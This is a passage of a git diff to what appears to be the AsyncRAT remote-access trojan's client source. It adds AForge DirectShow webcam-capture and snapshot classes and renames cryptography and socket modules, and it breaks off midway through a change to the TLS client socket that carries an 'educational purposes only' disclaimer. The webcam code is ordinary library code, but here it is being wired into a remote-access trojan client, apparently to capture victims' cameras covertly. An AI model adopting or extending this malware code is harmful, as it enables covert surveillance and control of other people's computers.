if ( ( !IsRunning ) || ( !isCrossbarAvailable.HasValue ) ) + { + throw new ApplicationException( "The video source must be running in order to display crossbar property page." ); + } + + if ( !isCrossbarAvailable.Value ) + { + throw new NotSupportedException( "Crossbar configuration is not supported by currently running video source." ); + } + + // pass the request to background thread if video source is running + parentWindowForPropertyPage = parentWindow; + needToDisplayCrossBarPropertyPage = true; + } + } + + /// + /// Check if running video source provides crossbar for configuration. + /// + /// + /// Returns if crossbar configuration is available or + /// otherwise. + /// + /// The method reports if the video source provides crossbar configuration + /// using . + /// + /// + public bool CheckIfCrossbarAvailable( ) + { + lock ( sync ) + { + if ( !isCrossbarAvailable.HasValue ) + { + if ( !IsRunning ) + { + // create graph without playing to collect available inputs + WorkerThread( false ); + } + else + { + for ( int i = 0; ( i < 500 ) && ( !isCrossbarAvailable.HasValue ); i++ ) + { + Thread.Sleep( 10 ); + } + } + } + + return ( !isCrossbarAvailable.HasValue ) ? false : isCrossbarAvailable.Value; + } + } + + + /// + /// Simulates an external trigger. + /// + /// + /// The method simulates external trigger for video cameras, which support + /// providing still image snapshots. The effect is equivalent as pressing camera's shutter + /// button - a snapshot will be provided through event. + /// + /// The property must be set to + /// to enable receiving snapshots. + /// + /// + public void SimulateTrigger( ) + { + needToSimulateTrigger = true; + } + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool SetCameraProperty( CameraControlProperty property, int value, CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Set( property, value, controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives the value indicating whether the setting is controlled manually or automatically + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraProperty( CameraControlProperty property, out int value, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.Get( property, out value, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Returns true on sucee or false otherwise. + /// + /// Video source is not specified - device moniker is not set. + /// Failed creating device object for moniker. + /// The video source does not support camera control. + /// + public bool GetCameraPropertyRange( CameraControlProperty property, out int minValue, out int maxValue, out int stepSize, out int defaultValue, out CameraControlFlags controlFlags ) + { + bool ret = true; + + // check if source was set + if ( ( deviceMoniker == null ) || ( string.IsNullOrEmpty( deviceMoniker ) ) ) + { + throw new ArgumentException( "Video source is not specified." ); + } + + lock ( sync ) + { + object tempSourceObject = null; + + // create source device's object + try + { + tempSourceObject = FilterInfo.CreateFilter( deviceMoniker ); + } + catch + { + throw new ApplicationException( "Failed creating device object for moniker." ); + } + + if ( !( tempSourceObject is IAMCameraControl ) ) + { + throw new NotSupportedException( "The video source does not support camera control." ); + } + + IAMCameraControl pCamControl = (IAMCameraControl) tempSourceObject; + int hr = pCamControl.GetRange( property, out minValue, out maxValue, out stepSize, out defaultValue, out controlFlags ); + + ret = ( hr >= 0 ); + + Marshal.ReleaseComObject( tempSourceObject ); + } + + return ret; + } + + /// + /// Worker thread. + /// + /// + private void WorkerThread( ) + { + WorkerThread( true ); + } + + private void WorkerThread( bool runGraph ) + { + ReasonToFinishPlaying reasonToStop = ReasonToFinishPlaying.StoppedByUser; + bool isSapshotSupported = false; + + // grabber + Grabber videoGrabber = new Grabber( this, false ); + Grabber snapshotGrabber = new Grabber( this, true ); + + // objects + object captureGraphObject = null; + object graphObject = null; + object videoGrabberObject = null; + object snapshotGrabberObject = null; + object crossbarObject = null; + + // interfaces + ICaptureGraphBuilder2 captureGraph = null; + IFilterGraph2 graph = null; + IBaseFilter sourceBase = null; + IBaseFilter videoGrabberBase = null; + IBaseFilter snapshotGrabberBase = null; + ISampleGrabber videoSampleGrabber = null; + ISampleGrabber snapshotSampleGrabber = null; + IMediaControl mediaControl = null; + IAMVideoControl videoControl = null; + IMediaEventEx mediaEvent = null; + IPin pinStillImage = null; + IAMCrossbar crossbar = null; + + try + { + // get type of capture graph builder + Type type = Type.GetTypeFromCLSID( Clsid.CaptureGraphBuilder2 ); + if ( type == null ) + throw new ApplicationException( "Failed creating capture graph builder" ); + + // create capture graph builder + captureGraphObject = Activator.CreateInstance( type ); + captureGraph = (ICaptureGraphBuilder2) captureGraphObject; + + // get type of filter graph + type = Type.GetTypeFromCLSID( Clsid.FilterGraph ); + if ( type == null ) + throw new ApplicationException( "Failed creating filter graph" ); + + // create filter graph + graphObject = Activator.CreateInstance( type ); + graph = (IFilterGraph2) graphObject; + + // set filter graph to the capture graph builder + captureGraph.SetFiltergraph( (IGraphBuilder) graph ); + + // create source device's object + sourceObject = FilterInfo.CreateFilter( deviceMoniker ); + if ( sourceObject == null ) + throw new ApplicationException( "Failed creating device object for moniker" ); + + // get base filter interface of source device + sourceBase = (IBaseFilter) sourceObject; + + // get video control interface of the device + try + { + videoControl = (IAMVideoControl) sourceObject; + } + catch + { + // some camera drivers may not support IAMVideoControl interface + } + + // get type of sample grabber + type = Type.GetTypeFromCLSID( Clsid.SampleGrabber ); + if ( type == null ) + throw new ApplicationException( "Failed creating sample grabber" ); + + // create sample grabber used for video capture + videoGrabberObject = Activator.CreateInstance( type ); + videoSampleGrabber = (ISampleGrabber) videoGrabberObject; + videoGrabberBase = (IBaseFilter) videoGrabberObject; + // create sample grabber used for snapshot capture + snapshotGrabberObject = Activator.CreateInstance( type ); + snapshotSampleGrabber = (ISampleGrabber) snapshotGrabberObject; + snapshotGrabberBase = (IBaseFilter) snapshotGrabberObject; + + // add source and grabber filters to graph + graph.AddFilter( sourceBase, "source" ); + graph.AddFilter( videoGrabberBase, "grabber_video" ); + graph.AddFilter( snapshotGrabberBase, "grabber_snapshot" ); + + // set media type + AMMediaType mediaType = new AMMediaType( ); + mediaType.MajorType = MediaType.Video; + mediaType.SubType = MediaSubType.RGB24; + + videoSampleGrabber.SetMediaType( mediaType ); + snapshotSampleGrabber.SetMediaType( mediaType ); + + // get crossbar object to to allows configuring pins of capture card + captureGraph.FindInterface( FindDirection.UpstreamOnly, Guid.Empty, sourceBase, typeof( IAMCrossbar ).GUID, out crossbarObject ); + if ( crossbarObject != null ) + { + crossbar = (IAMCrossbar) crossbarObject; + } + isCrossbarAvailable = ( crossbar != null ); + crossbarVideoInputs = ColletCrossbarVideoInputs( crossbar ); + + if ( videoControl != null ) + { + // find Still Image output pin of the vedio device + captureGraph.FindPin( sourceObject, PinDirection.Output, + PinCategory.StillImage, MediaType.Video, false, 0, out pinStillImage ); + // check if it support trigger mode + if ( pinStillImage != null ) + { + VideoControlFlags caps; + videoControl.GetCaps( pinStillImage, out caps ); + isSapshotSupported = ( ( caps & VideoControlFlags.ExternalTriggerEnable ) != 0 ); + } + } + + // configure video sample grabber + videoSampleGrabber.SetBufferSamples( false ); + videoSampleGrabber.SetOneShot( false ); + videoSampleGrabber.SetCallback( videoGrabber, 1 ); + + // configure snapshot sample grabber + snapshotSampleGrabber.SetBufferSamples( true ); + snapshotSampleGrabber.SetOneShot( false ); + snapshotSampleGrabber.SetCallback( snapshotGrabber, 1 ); + + // configure pins + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.Capture, videoResolution, ref videoCapabilities ); + if ( isSapshotSupported ) + { + GetPinCapabilitiesAndConfigureSizeAndRate( captureGraph, sourceBase, + PinCategory.StillImage, snapshotResolution, ref snapshotCapabilities ); + } + else + { + snapshotCapabilities = new VideoCapabilities[0]; + } + + // put video/snapshot capabilities into cache + lock ( cacheVideoCapabilities ) + { + if ( ( videoCapabilities != null ) && ( !cacheVideoCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheVideoCapabilities.Add( deviceMoniker, videoCapabilities ); + } + } + lock ( cacheSnapshotCapabilities ) + { + if ( ( snapshotCapabilities != null ) && ( !cacheSnapshotCapabilities.ContainsKey( deviceMoniker ) ) ) + { + cacheSnapshotCapabilities.Add( deviceMoniker, snapshotCapabilities ); + } + } + + if ( runGraph ) + { + // render capture pin + captureGraph.RenderStream( PinCategory.Capture, MediaType.Video, sourceBase, null, videoGrabberBase ); + + if ( videoSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + videoGrabber.Width = vih.BmiHeader.Width; + videoGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + // render snapshot pin + captureGraph.RenderStream( PinCategory.StillImage, MediaType.Video, sourceBase, null, snapshotGrabberBase ); + + if ( snapshotSampleGrabber.GetConnectedMediaType( mediaType ) == 0 ) + { + VideoInfoHeader vih = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) ); + + snapshotGrabber.Width = vih.BmiHeader.Width; + snapshotGrabber.Height = vih.BmiHeader.Height; + + mediaType.Dispose( ); + } + } + + // get media control + mediaControl = (IMediaControl) graphObject; + + // get media events' interface + mediaEvent = (IMediaEventEx) graphObject; + IntPtr p1, p2; + DsEvCode code; + + // run + mediaControl.Run( ); + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + startTime = DateTime.Now; + videoControl.SetMode( pinStillImage, VideoControlFlags.ExternalTriggerEnable ); + } + + do + { + if ( mediaEvent != null ) + { + if ( mediaEvent.GetEvent( out code, out p1, out p2, 0 ) >= 0 ) + { + mediaEvent.FreeEventParams( code, p1, p2 ); + + if ( code == DsEvCode.DeviceLost ) + { + reasonToStop = ReasonToFinishPlaying.DeviceLost; + break; + } + } + } + + if ( needToSetVideoInput ) + { + needToSetVideoInput = false; + // set/check current input type of a video card (frame grabber) + if ( isCrossbarAvailable.Value ) + { + SetCurrentCrossbarInput( crossbar, crossbarVideoInput ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToSimulateTrigger ) + { + needToSimulateTrigger = false; + + if ( ( isSapshotSupported ) && ( provideSnapshots ) ) + { + videoControl.SetMode( pinStillImage, VideoControlFlags.Trigger ); + } + } + + if ( needToDisplayPropertyPage ) + { + needToDisplayPropertyPage = false; + DisplayPropertyPage( parentWindowForPropertyPage, sourceObject ); + + if ( crossbar != null ) + { + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + + if ( needToDisplayCrossBarPropertyPage ) + { + needToDisplayCrossBarPropertyPage = false; + + if ( crossbar != null ) + { + DisplayPropertyPage( parentWindowForPropertyPage, crossbar ); + crossbarVideoInput = GetCurrentCrossbarInput( crossbar ); + } + } + } + while ( !stopEvent.WaitOne( 100, false ) ); + + mediaControl.Stop( ); + } + } + catch ( Exception exception ) + { + // provide information to clients + if ( VideoSourceError != null ) + { + VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); + } + } + finally + { + // release all objects + captureGraph = null; + graph = null; + sourceBase = null; + mediaControl = null; + videoControl = null; + mediaEvent = null; + pinStillImage = null; + crossbar = null; + + videoGrabberBase = null; + snapshotGrabberBase = null; + videoSampleGrabber = null; + snapshotSampleGrabber = null; + + if ( graphObject != null ) + { + Marshal.ReleaseComObject( graphObject ); + graphObject = null; + } + if ( sourceObject != null ) + { + Marshal.ReleaseComObject( sourceObject ); + sourceObject = null; + } + if ( videoGrabberObject != null ) + { + Marshal.ReleaseComObject( videoGrabberObject ); + videoGrabberObject = null; + } + if ( snapshotGrabberObject != null ) + { + Marshal.ReleaseComObject( snapshotGrabberObject ); + snapshotGrabberObject = null; + } + if ( captureGraphObject != null ) + { + Marshal.ReleaseComObject( captureGraphObject ); + captureGraphObject = null; + } + if ( crossbarObject != null ) + { + Marshal.ReleaseComObject( crossbarObject ); + crossbarObject = null; + } + } + + if ( PlayingFinished != null ) + { + PlayingFinished( this, reasonToStop ); + } + } + + // Set resolution for the specified stream configuration + private void SetResolution( IAMStreamConfig streamConfig, VideoCapabilities resolution ) + { + if ( resolution == null ) + { + return; + } + + // iterate through device's capabilities to find mediaType for desired resolution + int capabilitiesCount = 0, capabilitySize = 0; + AMMediaType newMediaType = null; + VideoStreamConfigCaps caps = new VideoStreamConfigCaps( ); + + streamConfig.GetNumberOfCapabilities( out capabilitiesCount, out capabilitySize ); + + for ( int i = 0; i < capabilitiesCount; i++ ) + { + try + { + VideoCapabilities vc = new VideoCapabilities( streamConfig, i ); + + if ( resolution == vc ) + { + if ( streamConfig.GetStreamCaps( i, out newMediaType, caps ) == 0 ) + { + break; + } + } + } + catch + { + } + } + + // set the new format + if ( newMediaType != null ) + { + streamConfig.SetFormat( newMediaType ); + newMediaType.Dispose( ); + } + } + + // Configure specified pin and collect its capabilities if required + private void GetPinCapabilitiesAndConfigureSizeAndRate( ICaptureGraphBuilder2 graphBuilder, IBaseFilter baseFilter, + Guid pinCategory, VideoCapabilities resolutionToSet, ref VideoCapabilities[] capabilities ) + { + object streamConfigObject; + graphBuilder.FindInterface( pinCategory, MediaType.Video, baseFilter, typeof( IAMStreamConfig ).GUID, out streamConfigObject ); + + if ( streamConfigObject != null ) + { + IAMStreamConfig streamConfig = null; + + try + { + streamConfig = (IAMStreamConfig) streamConfigObject; + } + catch ( InvalidCastException ) + { + } + + if ( streamConfig != null ) + { + if ( capabilities == null ) + { + try + { + // get all video capabilities + capabilities = AForge.Video.DirectShow.VideoCapabilities.FromStreamConfig( streamConfig ); + } + catch + { + } + } + + // check if it is required to change capture settings + if ( resolutionToSet != null ) + { + SetResolution( streamConfig, resolutionToSet ); + } + } + } + + // if failed resolving capabilities, then just create empty capabilities array, + // so we don't try again + if ( capabilities == null ) + { + capabilities = new VideoCapabilities[0]; + } + } + + // Display property page for the specified object + private void DisplayPropertyPage( IntPtr parentWindow, object sourceObject ) + { + try + { + // retrieve ISpecifyPropertyPages interface of the device + ISpecifyPropertyPages pPropPages = (ISpecifyPropertyPages) sourceObject; + + // get property pages from the property bag + CAUUID caGUID; + pPropPages.GetPages( out caGUID ); + + // get filter info + FilterInfo filterInfo = new FilterInfo( deviceMoniker ); + + // create and display the OlePropertyFrame + Win32.OleCreatePropertyFrame( parentWindow, 0, 0, filterInfo.Name, 1, ref sourceObject, caGUID.cElems, caGUID.pElems, 0, 0, IntPtr.Zero ); + + // release COM objects + Marshal.FreeCoTaskMem( caGUID.pElems ); + } + catch + { + } + } + + // Collect all video inputs of the specified crossbar + private VideoInput[] ColletCrossbarVideoInputs( IAMCrossbar crossbar ) + { + lock ( cacheCrossbarVideoInputs ) + { + if ( cacheCrossbarVideoInputs.ContainsKey( deviceMoniker ) ) + { + return cacheCrossbarVideoInputs[deviceMoniker]; + } + + List videoInputsList = new List( ); + + if ( crossbar != null ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + // collect all video inputs + for ( int i = 0; i < inPinsCount; i++ ) + { + int pinIndexRelated; + PhysicalConnectorType type; + + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type < PhysicalConnectorType.AudioTuner ) + { + videoInputsList.Add( new VideoInput( i, type ) ); + } + } + } + } + + VideoInput[] videoInputs = new VideoInput[videoInputsList.Count]; + videoInputsList.CopyTo( videoInputs ); + + cacheCrossbarVideoInputs.Add( deviceMoniker, videoInputs ); + + return videoInputs; + } + } + + // Get type of input connected to video output of the crossbar + private VideoInput GetCurrentCrossbarInput( IAMCrossbar crossbar ) + { + VideoInput videoInput = VideoInput.Default; + + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + if ( videoOutputPinIndex != -1 ) + { + int videoInputPinIndex; + + // get index of the input pin connected to the output + if ( crossbar.get_IsRoutedTo( videoOutputPinIndex, out videoInputPinIndex ) == 0 ) + { + PhysicalConnectorType inputType; + + crossbar.get_CrossbarPinInfo( true, videoInputPinIndex, out pinIndexRelated, out inputType ); + + videoInput = new VideoInput( videoInputPinIndex, inputType ); + } + } + } + + return videoInput; + } + + // Set type of input connected to video output of the crossbar + private void SetCurrentCrossbarInput( IAMCrossbar crossbar, VideoInput videoInput ) + { + if ( videoInput.Type != PhysicalConnectorType.Default ) + { + int inPinsCount, outPinsCount; + + // gen number of pins in the crossbar + if ( crossbar.get_PinCounts( out outPinsCount, out inPinsCount ) == 0 ) + { + int videoOutputPinIndex = -1; + int videoInputPinIndex = -1; + int pinIndexRelated; + PhysicalConnectorType type; + + // find index of the video output pin + for ( int i = 0; i < outPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( false, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( type == PhysicalConnectorType.VideoDecoder ) + { + videoOutputPinIndex = i; + break; + } + } + + // find index of the required input pin + for ( int i = 0; i < inPinsCount; i++ ) + { + if ( crossbar.get_CrossbarPinInfo( true, i, out pinIndexRelated, out type ) != 0 ) + continue; + + if ( ( type == videoInput.Type ) && ( i == videoInput.Index ) ) + { + videoInputPinIndex = i; + break; + } + } + + // try connecting pins + if ( ( videoInputPinIndex != -1 ) && ( videoOutputPinIndex != -1 ) && + ( crossbar.CanRoute( videoOutputPinIndex, videoInputPinIndex ) == 0 ) ) + { + crossbar.Route( videoOutputPinIndex, videoInputPinIndex ); + } + } + } + } + + /// + /// Notifies clients about new frame. + /// + /// + /// New frame's image. + /// + private void OnNewFrame( Bitmap image ) + { + framesReceived++; + bytesReceived += image.Width * image.Height * ( Bitmap.GetPixelFormatSize( image.PixelFormat ) >> 3 ); + + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( NewFrame != null ) ) + NewFrame( this, new NewFrameEventArgs( image ) ); + } + + /// + /// Notifies clients about new snapshot frame. + /// + /// + /// New snapshot's image. + /// + private void OnSnapshotFrame( Bitmap image ) + { + TimeSpan timeSinceStarted = DateTime.Now - startTime; + + // TODO: need to find better way to ignore the first snapshot, which is sent + // automatically (or better disable it) + if ( timeSinceStarted.TotalSeconds >= 4 ) + { + if ( ( !stopEvent.WaitOne( 0, false ) ) && ( SnapshotFrame != null ) ) + SnapshotFrame( this, new NewFrameEventArgs( image ) ); + } + } + + // + // Video grabber + // + private class Grabber : ISampleGrabberCB + { + private VideoCaptureDevice parent; + private bool snapshotMode; + private int width, height; + + // Width property + public int Width + { + get { return width; } + set { width = value; } + } + // Height property + public int Height + { + get { return height; } + set { height = value; } + } + + // Constructor + public Grabber( VideoCaptureDevice parent, bool snapshotMode ) + { + this.parent = parent; + this.snapshotMode = snapshotMode; + } + + // Callback to receive samples + public int SampleCB( double sampleTime, IntPtr sample ) + { + return 0; + } + + // Callback method that receives a pointer to the sample buffer + public int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ) + { + if ( parent.NewFrame != null ) + { + // create new image + System.Drawing.Bitmap image = new Bitmap( width, height, PixelFormat.Format24bppRgb ); + + // lock bitmap data + BitmapData imageData = image.LockBits( + new Rectangle( 0, 0, width, height ), + ImageLockMode.ReadWrite, + PixelFormat.Format24bppRgb ); + + // copy image data + int srcStride = imageData.Stride; + int dstStride = imageData.Stride; + + unsafe + { + byte* dst = (byte*) imageData.Scan0.ToPointer( ) + dstStride * ( height - 1 ); + byte* src = (byte*) buffer.ToPointer( ); + + for ( int y = 0; y < height; y++ ) + { + Win32.memcpy( dst, src, srcStride ); + dst -= dstStride; + src += srcStride; + } + } + + // unlock bitmap data + image.UnlockBits( imageData ); + + // notify parent + if ( snapshotMode ) + { + parent.OnSnapshotFrame( image ); + } + else + { + parent.OnNewFrame( image ); + } + + // release the image + image.Dispose( ); + } + + return 0; + } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs new file mode 100644 index 0000000..d88b64d --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video.DirectShow/VideoInput.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow +{ + using System; + + /// + /// Video input of a capture board. + /// + /// + /// The class is used to describe video input of devices like video capture boards, + /// which usually provide several inputs. + /// + /// + public class VideoInput + { + /// + /// Index of the video input. + /// + public readonly int Index; + + /// + /// Type of the video input. + /// + public readonly PhysicalConnectorType Type; + + internal VideoInput( int index, PhysicalConnectorType type ) + { + Index = index; + Type = type; + } + + /// + /// Default video input. Used to specify that it should not be changed. + /// + public static VideoInput Default + { + get { return new VideoInput( -1, PhysicalConnectorType.Default ); } + } + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs new file mode 100644 index 0000000..d6ae3e5 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video/IVideoSource.cs @@ -0,0 +1,126 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © Andrew Kirillov, 2005-2009 +// andrew.kirillov@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Video source interface. + /// + /// + /// The interface describes common methods for different type of video sources. + /// + public interface IVideoSource + { + /// + /// New frame event. + /// + /// + /// This event is used to notify clients about new available video frame. + /// + /// Since video source may have multiple clients, each client is responsible for + /// making a copy (cloning) of the passed video frame, but video source is responsible for + /// disposing its own original copy after notifying of clients. + /// + /// + event NewFrameEventHandler NewFrame; + + /// + /// Video source error event. + /// + /// + /// This event is used to notify clients about any type of errors occurred in + /// video source object, for example internal exceptions. + /// + event VideoSourceErrorEventHandler VideoSourceError; + + /// + /// Video playing finished event. + /// + /// + /// This event is used to notify clients that the video playing has finished. + /// + /// + event PlayingFinishedEventHandler PlayingFinished; + + /// + /// Video source. + /// + /// + /// The meaning of the property depends on particular video source. + /// Depending on video source it may be a file name, URL or any other string + /// describing the video source. + /// + string Source { get; } + + /// + /// Received frames count. + /// + /// + /// Number of frames the video source provided from the moment of the last + /// access to the property. + /// + /// + int FramesReceived { get; } + + /// + /// Received bytes count. + /// + /// + /// Number of bytes the video source provided from the moment of the last + /// access to the property. + /// + /// + long BytesReceived { get; } + + /// + /// State of the video source. + /// + /// + /// Current state of video source object - running or not. + /// + bool IsRunning { get; } + + /// + /// Start video source. + /// + /// + /// Starts video source and return execution to caller. Video source + /// object creates background thread and notifies about new frames with the + /// help of event. + /// + void Start( ); + + /// + /// Signal video source to stop its work. + /// + /// + /// Signals video source to stop its background thread, stop to + /// provide new frames and free resources. + /// + void SignalToStop( ); + + /// + /// Wait for video source has stopped. + /// + /// + /// Waits for video source stopping after it was signalled to stop using + /// method. + /// + void WaitForStop( ); + + /// + /// Stop video source. + /// + /// + /// Stops video source aborting its thread. + /// + void Stop( ); + } +} diff --git a/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs new file mode 100644 index 0000000..c5729e5 --- /dev/null +++ b/AsyncRAT-C#/Client/AForge/Video/VideoEvents.cs @@ -0,0 +1,125 @@ +// AForge Video Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video +{ + using System; + + /// + /// Delegate for new frame event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs ); + + /// + /// Delegate for video source error event handler. + /// + /// + /// Sender object. + /// Event arguments. + /// + public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs ); + + /// + /// Delegate for playing finished event handler. + /// + /// + /// Sender object. + /// Reason of finishing video playing. + /// + public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason ); + + /// + /// Reason of finishing video playing. + /// + /// + /// When video source class fire the event, they + /// need to specify reason of finishing video playing. For example, it may be end of stream reached. + /// + public enum ReasonToFinishPlaying + { + /// + /// Video playing has finished because it end was reached. + /// + EndOfStreamReached, + /// + /// Video playing has finished because it was stopped by user. + /// + StoppedByUser, + /// + /// Video playing has finished because the device was lost (unplugged). + /// + DeviceLost, + /// + /// Video playing has finished because of some error happened the video source (camera, stream, file, etc.). + /// A error reporting event usually is fired to provide error information. + /// + VideoSourceError + } + + /// + /// Arguments for new frame event from video source. + /// + /// + public class NewFrameEventArgs : EventArgs + { + private System.Drawing.Bitmap frame; + + /// + /// Initializes a new instance of the class. + /// + /// + /// New frame. + /// + public NewFrameEventArgs( System.Drawing.Bitmap frame ) + { + this.frame = frame; + } + + /// + /// New frame from video source. + /// + /// + public System.Drawing.Bitmap Frame + { + get { return frame; } + } + } + + /// + /// Arguments for video source error event from video source. + /// + /// + public class VideoSourceErrorEventArgs : EventArgs + { + private string description; + + /// + /// Initializes a new instance of the class. + /// + /// + /// Error description. + /// + public VideoSourceErrorEventArgs( string description ) + { + this.description = description; + } + + /// + /// Video source error description. + /// + /// + public string Description + { + get { return description; } + } + } +} diff --git a/AsyncRAT-C#/Client/Cryptography/Aes256.cs b/AsyncRAT-C#/Client/Algorithm/Aes256.cs similarity index 99% rename from AsyncRAT-C#/Client/Cryptography/Aes256.cs rename to AsyncRAT-C#/Client/Algorithm/Aes256.cs index d6524a1..68b6f0d 100644 --- a/AsyncRAT-C#/Client/Cryptography/Aes256.cs +++ b/AsyncRAT-C#/Client/Algorithm/Aes256.cs @@ -6,7 +6,7 @@ using System.Runtime.CompilerServices; using System.Security.Cryptography; using System.Text; -namespace Client.Cryptography +namespace Client.Algorithm { public class Aes256 { diff --git a/AsyncRAT-C#/Client/Cryptography/Sha256.cs b/AsyncRAT-C#/Client/Algorithm/Sha256.cs similarity index 96% rename from AsyncRAT-C#/Client/Cryptography/Sha256.cs rename to AsyncRAT-C#/Client/Algorithm/Sha256.cs index c8a2453..fd76261 100644 --- a/AsyncRAT-C#/Client/Cryptography/Sha256.cs +++ b/AsyncRAT-C#/Client/Algorithm/Sha256.cs @@ -1,7 +1,7 @@ using System.Security.Cryptography; using System.Text; -namespace Client.Cryptography +namespace Client.Algorithm { public static class Sha256 { diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 3a6e201..5ea91bf 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -72,12 +72,46 @@ - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -88,11 +122,12 @@ + - + @@ -113,8 +148,8 @@ - - + + diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Connection/ClientSocket.cs similarity index 87% rename from AsyncRAT-C#/Client/Sockets/ClientSocket.cs rename to AsyncRAT-C#/Client/Connection/ClientSocket.cs index adce3b7..b047831 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Connection/ClientSocket.cs @@ -10,6 +10,7 @@ using System.Net.Security; using System.Security.Authentication; using System.Security.Cryptography.X509Certificates; using System.Net; +using Client.Algorithm; // │ Author : NYAN CAT // │ Name : Nyan Socket v0.1 @@ -17,11 +18,11 @@ using System.Net; // This program is distributed for educational purposes only. -namespace Client.Sockets +namespace Client.Connection { public static class ClientSocket { - public static Socket Client { get; set; } + public static Socket TcpClient { get; set; } public static SslStream SslClient { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } @@ -35,7 +36,7 @@ namespace Client.Sockets try { - Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + TcpClient = new 